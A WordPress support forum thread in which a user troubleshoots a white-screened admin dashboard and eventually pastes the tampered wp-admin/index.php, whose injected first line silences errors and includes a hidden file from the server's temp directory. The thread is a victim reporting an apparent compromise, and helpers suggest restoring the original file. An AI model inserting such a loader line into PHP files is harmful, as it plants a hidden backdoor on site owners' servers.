 * My dashboard index is White Screen of Deathing when I try to access the Dashboard
   index page. I can log in, and I can access site maintenance functions, however
   wp-admin/index.php is just a white screen no matter which method I use to reach
   it. I tried recopying wp-admin and wp-includes, which restored function for a
   while, but now I just get the white screen again.
 * I have tried disabling all plugins, reverting to the default theme, and setting
   the memory size to 64M. None helped the issue. I have debugging turned on, but
   am receiving no error messages on screen.

 * Hi [@fusionaddict](https://wordpress.org/support/users/fusionaddict/),
 * Have you recently upgraded WordPress? If yes, then something may not have updated
   itself correctly. A similar issue like yours was reported previously on this 
   forum and was resolved by a [Manual Update](https://codex.wordpress.org/Updating_WordPress#Manual_Update).
 * Please make sure you backup everything including database before doing this.
 * Hope that helps.

 * Yes, but the issue began before the update and I have already tried manually 
   re-updating.

 * Hi [@fusionaddict](https://wordpress.org/support/users/fusionaddict/),
 * Have you tried looking into error logs ? You can get error logs from the web 
   hosting service provider.
 * May be somewhere in there we may find something?

 * There’s nothing being generated in the error logs. Something had edited the dasboard
   index file. This is what I found when I opened it:
 * <?php error_reporting(0);ini_set(“display_errors”, 0);include_once(sys_get_temp_dir().”/
   SESS_48cd7517d21176f980daa5502d9efb31″); ?><?php
    require( ABSPATH . ‘wp-admin/
   admin-footer.php’ );
 * That’s the contents of index.php, in their entirety.

 * Hi [@fusionaddict](https://wordpress.org/support/users/fusionaddict/)
 * That’s interesting. Shouldn’t it looks something like:
 * [https://github.com/WordPress/WordPress/blob/master/wp-admin/index.php](https://github.com/WordPress/WordPress/blob/master/wp-admin/index.php)
 * What happens if you just replace this one file with the content from the github
   file in the link above?
 * Also, out of curiosity, since when did this problem arise? Was it after you updated
   or installed a plugin ?
